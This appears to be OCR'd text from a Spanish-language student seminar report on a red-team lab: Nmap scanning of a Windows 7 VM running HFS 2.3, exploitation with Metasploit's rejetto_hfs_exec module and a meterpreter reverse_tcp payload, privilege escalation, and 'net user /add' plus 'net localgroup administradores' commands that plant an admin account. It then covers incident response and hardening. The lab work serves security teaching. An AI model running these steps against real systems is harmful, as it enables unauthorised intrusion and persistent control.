[sudo] password for geovaldys:

/home/geovaldys

Fuente propia
Es recomendable actualizar el sistema usando el comando $apt-get update

Figura 21. Actualizacion de sistema Kali Linux.

root@kali: /home/geovaldys

File Actions Edit View Help

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.0.10 netmask 255.255.255.0 broadcast 192.168.0.255

inet6 2800:484:9b74:36f0:a00:27ff:fe66:f738 prefixlen 64 scopeid @x
@<global>

inet6 fe80::a@@:27ff:fe66:f738 prefixlen 64 scopeid 0x20<link>

inet6 2800:484:9b74:36f0:e47d:48eb:745a:2ceb prefixlen 64 scopeid ©
x@<global>

ether 08:00:27:66:f7:38 txqueuelen 1000 (Ethernet)

RX packets 559 bytes 81522 (79.6 KiB)

RX errors © dropped © overruns @ frame @

TX packets 234 bytes 34580 (33.7 KiB)

TX errors © dropped ©® overruns © carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors © dropped © overruns @ frame ©
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions ©

/home/geovaldys
update
Hit:1 http://http.kali.org/kali kali-rolling InRelease
[fleading package lists ... 69%

Fuente propia
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Luego instalamos las mejoras del sistema, usando el comando # apt-get upgrade.

Usamos el comando # Ifconfig, para determinar cual es la direccion IP que se asigno al

Kali Linux y vemos que tenemos asignada la direccién IP 192.168.0.4 en nuestra maquina

atacante.

Figura 22. Obtencion de IP asignada en Kali Linux.

e L ———

File Actions Edit WView Help

sword for geovaldys:
fhome/geovaldys

UP, BROADCAST , RUNNING
168.0 netm

collisions

Fuente propia

5]

Hacemos lo mismo en la maquina de Windows que seria la maquina objetivo, para saber

cudl es la IP que se le asigno usando el comando ipconfig y este nos muestra la asignacion

192.168.0.3

Figura 23. Obtencion de IP asignada en Windows 7.

E¥ Administrador: C\Windows\system32\cmd.exe

"ipconfi" no se reconoce como un comando interno o externo,.
programa o archive por lotes ejecutable.

C:xUzers usuario>ipconfig

Configuracidn IP de Windows

Adaptador de Ethernet Conexidn de area local:

Sufijo DNS especifico para la conexidn.
Direccidn IPwb . . . . . . . . 2
Direccidn IPué temporal. . . .
Vinculo: direccidén IPv6 local.
Direccidn IPud. . . . . . . . . . - - 192_168.8.3
Miscara de subred . - 255,

e e e e e e . - 5.255.8
Puerta de enlace predeterminada . . . . . : feBB::%af7:81ff:feal:afd4x11

Adaptador de tdnel isatap.{5BESBED2-9B84-4799-BEB3-D289D73C24608>:

Estado de los medios. . . . . . . . . .
Sufijo DNS especifico para la conexidn.

C:slUserssusuario>

00:404:9h74:3618:4842:9ce4:4¢38:7898
:484:9h74:36fB:cdfh:B6hT:ad4lz11e2
1:4842:9ced:4e38: 7898211

medios desconectados

i [T

Fuente propia
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En la maquina victima abrimos el programa llamado SFH Server 2.3, creado por
empresa Rejjeto, el cual segln el anexo es vulnerable en esta version y lo dejamos abierto

Figura 24. Apertura de software SFH Server 2.3

28 Win?-SE2020-X64 [Cormendo] - Oracle VM VirtusiBox - o x

VFS:0 tems

Fuente propia

Ahora en la maquina atacante, la cual es Kali Linux, lanzamos un ping hacia la maquina
objetivo, para verificar que tengamos conexion. Usando el comando ping 192.168.0.3 y
verificamos que esté dada la conectividad.

Figura 25. Ping de Kali Linux a Windows 7.

/home/geovaldys

PING 1°

b4

Fuente propia

Ahora creamos una carpeta en el escritorio de Kali Linux para guardar el informe de
resultados del PENTESTING, ya sea usando la interfaz grafica o usando el comando MKDIR

por el terminal.
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Figura 26. Creacion de folder de resultado en Kali Linux.

Create New Folder

Enter the name:

Pentest_result

Fuente propia
Navegamos hasta dentro de la carpeta creada en el Escritorio, usando el comando # Is,
para navegar y # cd para ingresar a los directorios.

Figura 27. Navegacion en carpetas en Kali Linux.

root@kali: /home/geovaldys/Desktop/Pentest_result

File Actions Edit View Help

PING 192.168.0.7 (192.168.0.7) 56(84) bytes of data.

64 bytes from 192.168.0.7: icmp_seq=1 ttl=128 time=99.5

64 bytes from 192.168.0.7: icmp_seq=2 ttl=128 time=4.63

64 bytes from 192.168.0.7: icmp_seq=3 ttl=128 time=6.66 n

64 bytes from 192.168.0.7: icmp_seq=4 ttl=128 time=10.2

e

— 192.168.0.7 ping statistics

4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 4.630/30.263/99.514/40.032 ms

/home/geovaldys

/home/geovaldys
Desktop

/home/geovaldys/Desktop

/home/geovaldys/Desktop
Pentest_result

/home/geovaldys/Desktop/Pentest_result

Fuente propia
Teniendo esto, le hacemos un escaneo usando la herramienta NMAP de Kali Linux a la
maquina objetico, para obtener informacion de ella y dejar un informe del escaneo dentro de la

carpeta, que serd evidencia a entregar a la firma contratante.
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Ejecutamos el comando: # nmap -sV -sc -O -0A Resul_PenTest 192.168.0.3

La explicacion de este comando es el siguiente: nmap es la herramienta, -sV para
encontrar versiones y servicios en puertos abiertos, -sC para analizar script por defectos, -O Para
verificar la implementacion TCP/IP tiene la maquina objetivo y -0A para crear ficheros de varias
extensiones para guardar los resultados del escaneo.

Figura 28. Comando de escaneo con NMAP en Kali Linux.

— 192.168.0.7 ping statistics —
packets transmitted, 4 received % packet loss, time 3003ms
rtt min/avg/max/mdev = 4.630/30.263/99.514/40.032 ms

/home/geovaldys

192.168.0.6
192.168.0.9

/home/geovaldys

Desktop

/home/geovaldys/Desktop

/home/geovaldys/Desktop
Pentest_result

/home/geovaldys/Desktop/Pentest_result
Resul_PenTest 192.168.0.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 07:39 -05

Fuente propia
La maquina victima comienza a recibir paquetes del escaneo y se ve la actividad en el log
del programa HFS.

Figura 29. Programa HSF, recibiendo paquetes

#i HFS ~ HTTP File Server2.3 Build 288 (=N ECR =]

&) Menu | % Port:80 | € You arein Expert mode | i/ Update now
er hetpy//192.168.03/

*: Copyto clipboard

Virtual File System Leg «

2 > If+Err Numbsr+<>+0+Then

= wsh_exit

> End+If

= x Send

> Executesx.responseText}

0317:23 pm. 192168 0 4-41981 Requested GET /?search=

W9 1P address J File Status Speed Time.. Progress

Cennectiens: 0 Out: 0.0KB/s In:0.0KB/s Total Out:1447M  TotalIm:1.22M  VFS: 0 items

Fuente propia



Ahora tenemos los resultados en varios formatos dentro de la carpeta creada

Figura 30. Carpeta en Kali Linux de reporte de escaneo Nmap.

File Edit View Bookmarks Help

4+ A A geovaldys i Deskitop Pentest_result

Places

I geovaldys

e Resul_PenTest.gn Resul_PenTest.nm Resul_PenTestxml
Desktop

map ap

Recent

' Trash

Documents
Music
Pictures
Videos
Dov
Devices
Bl Files
Network
D Browse Network

Fuente propia
No obstante, en pantalla del terminal, aparecen los resultados que podemos ir mirando,
puertos abiertos, tipo de puerto, el servicio que corre en ellos, el sistema operativo, etc.

Figura 31Resultados de escaneo de Nmap.

root@kali: fhome/geovaldys
File Actions Edit View Help

/home/geovaldys
192.168.0.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 15:12 -05
Nmap scan report for 192.168.0.3
Host is up (©0.0076s latency).
Not shown: 986 closed tcp ports (reset)
E SERVICE VERSION
HttpFileServer httpd 2.3

_http-se

135/tcp Microsoft Windows RPC

139/tcp i Microsoft Wind netbios-ssn

445/tcp O m Windows 7 Prof ional 7601 Se e Pack 1 micro
soft-ds ( { up)

554/tcp

2869/tcp Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp Microsoft HTTPAPI httpd .@ (SsSprP/UPNnP)
| _http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Service Unavailable

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found

| _http-server-header: Microsoft-HTTPAPI/2.0

49152 /tcp open msrpc Microsoft Windows

49153/tcp open msrpc Microsoft Windows

49154/tcp open msrpc Microsoft

49155/tcp open msrpc Microsoft

49156/tcp open msrpc Microsoft Windows

Fuente propia
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Teniendo esta informacion, ahora procedemos a ejecutar la herramienta METASPLOIT-
FRAMEWORK de Kali Linux, dejando las dos pantallas activas de las terminales.

Figura 32. Busqueda de herramienta metasploit en Kali Linux.

N

Q, r'neta|

M metasploit-framework

Fuente propia

Figura 33. Ejecucion de herramienta metasploit en Kali Linux.

Fuente propia

Ahora con la herramienta metasploit buscamos las vulnerabilidades que puede tener el
programa HFS 2.3 usando el comando > search HFS 2.3

Figura 34. Busqueda de vulnerabilidad sobre HFS 2.3 desde Metasploit

Shell MNe. 1

File Actions Edit Wiew Help

ription

exploit/multi/htt
1i

Fuente propia
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Luego de detectada, la lista de vulnerabilidades asociados a ese programa la cual contiene
un item, un nombre, un detalle, fecha de version, tipo de vulnerabilidad, procedemos a
seleccionar una de esa lista usando el comando # use item o #use nombre de la vulnerabilidad
listada

# use 4 y el sistema deja seleccionada la vulnerabilidad a usar.

Figura 35. Seleccion de la vulnerabilidad a aplicar.

msfé > use &
No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit( I |

Fuente propia

Ya dentro de la vulnerabilidad seleccionada, usamos el comando # show options, que
nos mostrara toda acerca de la vulnerabilidad, donde la primera parte equivale al exploit.

Figura 36. Configuracion de la vulnerabilidad a aplicar.

Module options (exploit/windows/http/reje
Name Current Setting e ription
HTTPDELAY 1@
Proxies

RHOSTS

0.0.0

TARGETURI
Fuente propia
Esta segunda parte equivale al meterpreter que viene por defecto y nos permitira tomar

control de la maquina objetivo.
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Figura 37. Configuracion de la vulnerabilidad a aplicar

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST 192.168.0.4 / The listen address (an interface ma
y be specified)

LPORT (A / The listen port

Exploit target:

Id Name

0 Automatic

View the full module info with the info, or info -d command.

Fuente propia

Y entramos a realizar la configuracion pertinente para el ataque. Unos de los puntos méas
importantes en este paso es configurar lo siguiente:

. RHOSTS donde colocamos la IP de la maquina victima (READ HOSTS) usando
la direccion IP obtenida en el escaneo 192.168.0.3. # set RHOSTS 192.168.0.3

o RPOST 80, Read Port o puerto que vamos a leer. # set RPORT 80

. LHOST (listen Host) con IP 192.168.0.4 que es la maquina atacante. # set
LHOST 192.168.0.4

o LPORT, puerto escuchando que, para el caso, lo configuramos con el puerto
4444, # set LPORT 4444

Figura 38. Configuracion de la vulnerabilidad para maquina objetivo.

msf6 exploit( ) > set RHOSTS 192.168.0.3

RHOSTS = 192.168.0.3

Fuente propia
Ahora procedemos al ataque de la maquina victima usando el comando # run o # Exploit

y esto nos dejara en el meterpreter.
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Figura 39. Consola con ejecucion del meterpreter.

meterpreter >

Fuente propia
En la maquina victima vemos como se ejecutd el payload que ingresamos dentro de una
carpeta temporal % TEMP%, para obtener un Reverse Shell.

Figura 40. Payload dentro de maquina objetivo.

[E=3ECH
@Qﬂ v Rejjeto_123456 » %TEMP% [ 43 ][ Buscar %TEMP2
Organizar = Incluir en biblioteca = Compartir con = MNueva carpeta B= » i \G;
43X Favoritos MNombre Fecha de modifica... Tipo Tamafio
& Descargas BibMUHzQdSCOpp 05/11/2024 02:41 ... Archivo de secuen... 1KE

Bl Escritorio

= Sitios recientes

Fuente propia
Ahora estando dentro de la maquina con el meterpreter, podemos ejecutar comando para
asi tomar el control; por ejemplo, si ejecutamos el comando meterpreter> help, nos desplegara

una lista de comando ayuda, que nos serviran a lo largo del ejercicio.
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Figura 41. Ayuda de comandos meterpreter.

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session
Alias for background
Kills a background meterpreter script
Lists running background scripts
Executes a meterpreter script as a background

thread

channel Displays information or control active channe
1s

close Closes a channel

detach Detach the meterpreter session (for http/http
s)

Fuente propia

Ahora podemos ver informacion del sistema donde estamos realizando la intrusion,

usando el comando > sysinfo

Figura 42. Consulta de informacion del sistema objetivo desde meterpreter.

meterpreter > sysinfo

Computer : PC202006

0s : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture i X64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

meterpreter > i

Fuente propia
Usamos el comando meterpreter> getsystem, para elevar privilegios

Figura 43. Elevacion de privilegios en sistema objetivo desde meterpreter.

Fuente propia

Ahora podemos ver los privilegios otorgados usando el comando merterpreter> getprivs
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Figura 44. privilegios otorgados en sistema objetivo desde meterpreter.

ile Actions Edit WView Help

Fuente propia

En este punto ya es hora de ingresar al entorno de Windows Shell, para terminar de
realizar el ataque, usando el comando meterpreter> Shell, el cual nos dejara en
c¢:>/Windows/System32>

Figura 45. Recuperacion de Shell en sistema objetivo desde meterpreter.

meterpreter > shell

Process 1704 created.

Channel 4 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>[i

Fuente propia
Ahora podemos ejecutar los comandos propios de Windows, para poder listar los

usuarios de la maquina objetivo, usando el comando > net user.
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Figura 46. Lista de usuarios en maquina objetivo

C:\Windows\system32>net user
net user

Cuentas de usuario de \\

Administrador Invitado usuario
El comando se ha completado con uno o mes errores.

C:\Windows\system32>}

Fuente propia
Y si abrimos la maquina objetivo, nos damos cuenta que corresponden a los usuarios que
en esta existen.

Figura 47. Lista de usuarios desde Windows 7.

Elegir la cuenta que desee cambiar

usuario | Invitado
Administrador La cuenta de invitado esta desactivada

Crear una nuewva cuenta

iQué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
B Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Fuente propia
En este punto, procedemos a crear un usuario dentro de la maquina objetivo, usando el
comando > net user Geovaldys.bobadilla /add

Figura 48. Creacion de usuario en maquina objetivo desde Shell Kali Linux.

C:\Windows\system32>net user geovaldys.bobadilla /add
net user geovaldys.bobadilla /add
Se ha completado el comando correctamente.

C:\Windows\system32>|]

Fuente propia
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Luego consultamos este usuario, para mirar como quedo dentro del sistema, usando el

comando > net user geovaldys.bobadilla, pero nos damos cuenta que este se encuentra con

permisos basicos.

Figura 49. Lista de usuarios creado con permisos en Shell Kali Linux.

Nombre completo
Comentario

Comentario del usuario
Cedigo de paes

Cuenta activa

La cuenta expira

Ultimo cambio de contraseea

La contraseea expira

Cambio de contraseea

Contraseea requerida

El usuario puede cambiar la contrase¢a

Estaciones de trabajo autorizadas
Script de inicio de sesien

Perfil de usuario

Directorio principal

Ultima sesien iniciada

Horas de inicio de sesien autorizadas
Miembros del grupo local

Miembros del grupo global
Se ha completado el comando correctamente.

C:\Windows\system32>}}

Fuente propia

000 (Predeterminado

Se
Nunca

por el equipo)

09/11/2024 10:14:42
21/12/2024 10:14:42
09/11/2024 10:14:42

Se
Se

Todas

Nunca

Todas

*Usuarios
*None

Procedemos a mirar los grupos del sistema, que lo podemos hacer usando el mismo

comando, pero con el usuario, llamado con el mismo nombre. net user usuario

Figura 50. Lista de grupos de usuarios en Shell Kali Linux.

File
Comentario
Comentario del usuario
Cedigo de paes

° Cuenta activa Se
La cuenta expira

Actions Edit View Help

 Ultimo cambio de contraseea
. La contraseea expira
° Cambio de contraseea
Contraseea requerida No
El usuario puede cambiar la contraseea Se
Estaciones de trabajo autorizadas
Script de inicio de sesien
Perfil de usuario
Directorio principal
Ultima sesien iniciada

de inicio de sesien autorizadas

Miembros del grupo global
Se ha completado el comando correctamente.

C:\Window

system32>f]

Fuente propia

e9/11/2024

200 (Predeterminado
Nunca
26/06/2020 11:04:42

Nunca
26/06/2020

11:04:42

Todas

@7:41:

el equipo)
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Cuando ya se tiene identificado el grupo en este caso administradores, procedemos a
agregarle ese grupo al usuario creado desde la maquina atacante; usando el comando > net
localgroup administradores Geovaldys.bobadilla /add

Figura 51. Agregacion de permiso administrador a usuarios creado desde Shell Kali
Linux.

C:\Windows\system32>net localgroup administradores geovaldys.bobadilla /add
net localgroup administradores geovaldys.bobadilla /add
Se ha completado el comando correctamente.

C:\Windows\system32>[]

Fuente propia
Verificamos como quedo el usuario usando el comando > net user Geovaldys.bobadilla y
vemos que cambio a administrador.

Figura 52. Lista de usuarios creado con permisos en Shell Kali Linux.

File Actions Edit View Help

Comentario

o io del usuario
a 000 (P terminado por el equipo)

Se

Nunca

io princ
sesien inic E Nunca

grupo global *None
fe ha completado el comando correctamente.

C:\Windows\sy

Fuente propia
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Ahora en la maquina objetivo podemos ver como quedo el usuario creado desde Kali

Linux de manera visual.

Figura 53. Lista de usuarios creado con permisos en Windows 7.

Elegir la cuenta que desee cambiar

geovaldys_bobadilla

usuario
Administrador

Administrador

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

£Qué es una cuenta de usuaric?

Acciones adicionales que se pueden realizar
'5' Cenfigurar Centrol parental

Ir a la pagina principal de Cuentas de usuario

Fuente propia

Y asi queda explotada la vulnerabilidad encontrada. Otra forma de explotar

vulnerabilidades, puede encontrarla en el anexo 1 adjunto en este trabajo, lo cual explica otras

posibilidades.
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Informe Con Analisis del Caso de Red Team, Que Permitié Dar Solucion al Fallo
Identificado

Después de leido y comprendido el anexo 4 — escenario 3, los datos relevantes, que nos
permitio identificar el problema fueron:

o El problema principal, es la fuga de informacion y escalacion de privilegios u otro
tipo de ataques y creacion de usuario en la maquina victima con permisos de administrador.

o El recurso, que es un equipo de computo de la organizacién con un sistema
operativo desactualizado y desatendido.

. El software, usado dentro del equipo que tiene una vulnerabilidad que puede ser

explotado con un sploit.
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Informe de Herramientas Utilizadas Para Dar Identificar Fallos en el Escenario Propuesto.
La herramienta que se uso para detectar fallos de seguridad en la maquina victima con
Windows, fue NMAP.
Esta herramienta de la fase de escaneo del pentesting, me permitio verificar elementos
importantes en esta etapa y esta informacion fue usada para hacer la explotacion del sistema.

Figura 54. Informe de escaneo con Nmap.

root@kali: /home/geovaldys
File Actions Edit View Help

/home/geovaldys
- 192.168.0.3

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 15:12 -05
Nmap scan report for 192.168.0.3
Host is up (0.0076s latency).
Not shown: 986 closed tcp ports (reset)

S /ICE VERSION

HttpFileServer httpd 2.3

er-header: HFS 2.3
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
445/tcp Windows 7 Professional 7601 Service Pack 1 micro
soft-ds (wo
554/tcp open ?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
| _http-title: Service Unavailable
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| _http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows
49153/tcp open msrpc Microsoft Windows
49154/tcp open msrpc Microsoft Windows
49155/tcp open msrpc Microsoft Windows
49156/tcp open msrpc Microsoft Windows

Fuente propia

Si revisamos el informe o resultado generado después del escaneo con NMAP, nos
encontramos que hay varios servicios corriendo sobre la maquina, pero tenemos uno en especial
corriendo en el puerto 80/TCP el cual se refiera al servicio HFS 2.3 y trabajando con un
protocolo inseguro HT TP, muy vulnerable; y con esta informacion procedemos a buscar dicha

vulnerabilidad asociada a ese servicio.
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Analisis del ataque presentado a cada una de las maquinas identificadas.

Figura 55. Grafica representativa del ataque equipo Red team.

*Escanea maquina y obtiene SO,

Puertos, Servicios, protocolos, entre

ofros

— — — »

*Usa payload, para inyectar caballo de
Troya, por el puerto http 80, donde

corre el servicio HFS 2.3 >

*Se emplea Reverse Shell, para
obtener dominio de la maquina

objetivo *Ejecuta malware

Maquina Kali Linux Magquina Windows 7
1P: 192.168.0.4 IP:192.168.0.3
Atacante Objetivo

Fuente propia

El ataque consistid en buscar la forma de vulnerar la maquina objetivo, tomar el control y
elevar privilegios de administrador.

o Lo primero fue realizar un escaneo usando NMAP, para tener informacion de la
maquina objetivo.

o Una vez obtenido el informe de escaneo, buscamos en la lista de servicio méas
vulnerables presentado y se procede a realizar el ataque de la maquina objetivo.

o Usando la Herramienta Metasploit, buscamos la vulnerabilidad del servicio
seleccionado en el punto anterior.

o Luego buscamos y seleccionamos el payload, con el que se va a ejecutar el ataque

o Terminamos de realizar las configuraciones y lanzamos el ataque.

En este punto, la maquina atacante, inyecta el payload a la maquina objetivo
aprovechando la vulnerabilidad y la maquina objetivo, ejecuta el payload y queda pendiente 0 a
la escucha, por si la maquina atacante quiere realizar mas peticiones, toda vez que se cred un

canal de comunicacion, donde la maquina objetivo es quien autoriza la entra de paquetes.
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Teniendo todos estos accesos, ya podemos hacer uso de la maquina objetivo a la merced

del atacante.
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Informe de la Explotacion de Vulnerabilidades en el Escenario Propuesto.

Este es un informe de explotacién de vulnerabilidad sobre el desarrollo del laboratorio
anexo 4 — escenario 3 enfocado a Redteam.

. Nivel de gravedad. Este nivel de gravedad se considera Critico.

. Proveedor. Empresa desarrolladora de software Rejjeto.

. Aplicacion. HFS, o servidor de archivos HTTP

. Version de la aplicacion. 2.3

. Dispositivo. Computador con sistema operativo windows 7 Professional Service
Pack 1

Nombre de la vulnerabilidad. EI nombre de la vulnerabilidad aplicada, dentro de las
encontradas fue Windows/http/rejetto_hfs_exec

. Objeto. La vulnerabilidad se detecta en servicio corriendo sobre el puerto 80 con
protocolo de comunicacién HTTP, el cual es explotable mediante metasploit, lo que permite
obtener informacién de la maquina Objetivo relacionada bajo la direccién IP 192.168.0.3 y con
escalada de privilegios como administrador dentro de la misma.

. Fecha y hora de deteccion. 9 de noviembre del 2024, 6:00 pm

. Hay actualizaciones disponibles. Si hay actualizaciones disponibles para el

software HFS, que solucionan las fallas de seguridad presentada.
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Analisis con Acciones Necesarias Para Contener un Ataque en Tiempo Real.

Si detectamos que estamos siendo atacados, es porque los controles existentes no
funcionan adecuadamente o no existen; entonces en esta parte ya no estamos en momento de
aplicarlos de manera inmediata, sino de tomar medidas de emergencias para tratar de mitigar el
incidente presentado y luego cuando ya tengamos todo controlado, es el momento donde vamos
a hardenizar o aplicar correctivos sobre controles existentes o inexistentes.

Cuando estamos frente a un ataque real, debemos tomar rol de equipo de respuesta de
incidentes y se recomiendan hacer los siguientes pasos:

. Verificar de donde se produce el ataque: Es necesario saber de donde se
produce el ataque o cual es la fuente del mismo, con el fin de controlar la actividad maliciosa que
se esta presentando en la empresa, verificar puertos abiertos que tenga el sistema, softwares
instalados vulnerables, protocolos de comunicacién y todo lo que dos de pista de ese origen.

o Desconectar el dispositivo de la red: Todos sabemos que el acceso a lared o
internet, es la ventana mas grande para generar un ataque, entonces desconectar el dispositivo
donde se detecto el incidente, nos puede dar chance mientras aplicamos controles en nuestra red
y alli hemos frenado un poco el problema, pero eso no es lo que te cubre a la solucion en un
100%, sino que te brinda algo de tiempo, mientras busca una solucién adecuada.

o Redirigir el trafico de la red: Cuando por un camino, estamos siendo atacados y
decidimos aislarlo, es necesario brindar otra ruta para el envio de paquetes de datos de lared y
no frenar la operacion de una organizacion.

o Cambiar contrasefias de acceso: Es un punto muy importante, porque es lo
primero que un atacante busca y si lo hacemos y las robustecemos, el atacante demora un tiempo

mas en volver a tratar de acceder de manera intrusiva a una red de computo y para este momento,
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ya el equipo de seguridad tendria cubiertas las vulnerabilidades que dejaria descubierta este
ataque.

. Evaluaria el incidente: Con este punto, buscamos saber cual fue la gravedad de
este ataque, que afectd, que mas sistemas tienen caracteristicas parecidas a el sistema aislado,
que puedan facilitar un ataque como el encontrado y cuél fue el porcentaje de exposicion de
datos que dejo el incidente.

o Comunicar el incidente: La primera fase, es comunicar dentro de la empresa a
las personas que mas puedan ayudar en la contencion del ataque y a la alta gerencia, para tomar
decisiones relevantes, que no afecten la operacion y que permitan dar respuesta rapidas y
eficientes ante el incidente presentado; en otra fase, se debe dar parte a el resto de los empleados
y clientes, con ayuda de una persona que de parte de tranquilidad comentando que paso, como se
detectd y que acciones se estan o se tomaron para mitigar el problema; lo importante es no perder
la confianza y reputacion adquirida.

. Contener los dafios: En este punto es importante priorizar el resguardo de la
informacion mas importante con la que trabaja la empresa, actuar de manera rapida y eficiente,
lo que permite no sobrepasar los limites de exposicion al medio; no obstante, los limites de
exposicién de datos no deben existir en una empresa, pero si ya estan expuestos por falta de
controles o mala configuracion de los mismos, lo importante es no dejar que el problema
aumente su grado, llegando a puntos catastroficos para la mision, vision y objetivo de la
organizacion.

Entonces, por todo lo expuesto es necesario realizar un andlisis de cOmo esta la empresa a
nivel se seguridad informatica y que se deberia aplicar para evitar incidentes de ciber seguridad,

que es lo que hace un equipo Blue teams, pero si no tenemos claro esto antes del funcionamiento



de las operaciones de la empresa y llegamos al extremo, un ataque informatico, es necesario
tener personas calificadas, para realizar un trabajo de equipo de respuesta a incidentes, que

permitan controlar los problemas presentado y no afectar la operacién de la compaiiia.

81
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Informe de Acciones de Hardenizacion a Implementar para Evitar que Sucedan Ataques
de Seguridad Informatica.

Primeramente, debemos hacer una evaluacion de cual fue la vulnerabilidad que se
encontrd en nuestra red, para que se pudiera realizar una explotacion de este tipo y alli comenzar
a mirar los controles existentes para hardenizarlos o proporcionarlos si no existen.

Entonces, si nos vamos al laboratorio que se realizé en la etapa 3 de este seminario,
encontramos muchas falencias que nos permitieron realizar la explotacién de manera exitosa y
estos fueron:

. Es sistema operativo: Al momento de realizar el escaneo de la red, nos dimos
cuenta que la méaquina que recibi6 el ataque, tenia un sistema operativo Windows 7 Servipack 1,
el cual en este momento se encuentra desatendido, desactualizado y no solo con problemas por el
programa vulnerable, sino que tiene otras fallas de explotacién como lo es Eternalblue, que
permite que hasta un virus de poca relevancia infecte un ordenador de manera inmediata.

o Firewall de Windows: Este sistema se encontraba con el firewall de Windows
desactivado, el cual permitia que la maquina respondiera a una solicitud de ping e informara al
atacante que estaba dispuesta a recibir paquetes; no obstante, aunque el sistema tenga firewall de
Windows activo y se pueda realizar un escaneo de la maquina, usando Nmap como herramienta
con un escaneo lento -TO o una evasion del mismo usando el comando -Pn, esto hace que el
proceso que ejecute el atacante se retarde.

o Firewall de la red: La red atacada, no tenia una barrera perimetral que ayudara a
controlar o a filtrar el trafico de datos en la red y esto hizo mucho maés rapido y facil el ataque.

o Antivirus: El sistema atacado no contaba con un software de antivirus de ninguna

forma, ni gratis, ni pago, etc. Lo que, con ayuda del firewall desactivado, la convirti6 en un
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blanco perfecto para generar el ataque, permitiendo inyectar un payload, que nos ayudo a realizar
un reverse Shell y de esta forma, se pudo obtener control de este dispositivo.

o Software de trasferencia de archivos HFS: En el sistema se encontr6 con un
software HFS 2.3, que permitia la trasferencia de archivos, el cual tenia una vulnerabilidad,
primero porque usaba un protocolo de comunicacion inseguro como el HTTP y no se encontraba
con las actualizaciones necesarias para superar esta falencia.

Cuando tenemos este tipo de software, Windows nos da la opcion de activar una

herramienta Ilamada SandBox, el cual es un espacio virtualizado dentro de la maquina,

que permite hacer operaciones normales del software, pero este se encuentra encerrado
dentro de una caja y hace que el ataque sea mas lento, porque una vez el atacante penetra
sobre el sandbox, no le queda facil hacer un salto lateral.

o Control de cuentas de usuario: Es necesario restringir las cuentas de
administrador de los usuarios que operan esta maquina y solo permitirle el ingreso con usuarios
estandares o basicos, que no permitan hacer operaciones criticas en el sistema con altos
privilegios y si necesitan hacer algin cambio deban informar al administrador.

. Bloqueo de escritorio remoto: Este es una de las caracteristicas de Windows que
nos permite el acceso o bloqueo de control remoto de la maquina en cuestién, con el fin de
ingresar a ella, estando desde cualquier parte.

o BitLocker: Esta es una herramienta de Windows, que permite el cifrado de las
unidades de disco de la maquina y ayudan a mantener cifrada la informacion de las cuentas de
usuario, para evitar que se expongan ante otros usuarios o ante atacantes que puedan ingresar a la

red.
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. Copias de seguridad de Windows: Windows tiene una opcion que nos permite
realizar copias de seguridad con unas reglas especificas de coémo se van a realizar, esto nos ayuda
a mantener informacion importante resguardada, por si en algin momento perdemos la
integridad, confidencialidad y disponibilidad de la informacion sensible de la maquina
intervenida.

o Software de monitoreo: Recomendacién 10: Se sugiere a nivel de red, usar un
sistema IDS o IPS como SNORT, SURICATA, ZEEK, o cualquier otro que ayude a detectar
actividades andmalas dentro de la red de la empresa, lo que nos permitira ver de manera
temprana cualquier rastro de incidentes que se pueda presentar; este tipo de dispositivos se
configuran dependiendo de como quiere manejar estas actividades la organizacion, si es de

manera pasiva o de manera activa.
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Analisis Sobre las Diferencias Entre el Equipo de Blue Team y el Equipo de Respuesta a
Incidentes Informaticos

Para conocer las diferencias entre los equipos Blue team y un equipo de respuesta a
incidentes informaticos, debemos conocer que son, como se comportan y que herramientas usan.

o Equipo Blue team: Este equipo, se dedica a la defensa activa de ciberataques que
se puedan generar por fallos de seguridad informatica en una organizacion y son el lado opuesto
del equipo Red team; no obtente, estos dos equipos trabajan de la mano, con el fin de encontrar
problemas y robustecer los mecanismos y controles de proteccion informaticos de una empresa.

Los objetivos de un equipo Blue team son: Identificar y mitigar vulnerabilidades,
mediante herramientas que permitan al equipo saber sin estan siendo vulnerados como son IDS
(sistema de deteccion de intrusos), IPS (Sistema de prevencion de intrusiones), configuracion de
firewall, entre otras. Otro objetivo es desarrollar politicas de ciberseguridad, para ser aplicados
dentro de la organizacién, para mitigar problemas de explotacion de vulnerabilidades; un tercer
punto es dirigir auditorias de seguridad de manera regular, para mirar como se comportan los
controles existentes y si hay que endurecerlos y un cuarto puntos, es formar a los empleados en
posibles riesgos y la manera de cdmo evitarlos, toda vez que estos ultimos son el eslab6n méas
débil de la cadena y por donde actualmente se producen méas ataques de ciberseguridad.

El equipo Blue team, tiene unos roles dentro de la ciberseguridad como son:

o Recopila informacion de las areas criticas de la empresa, en cuanto a puntos que
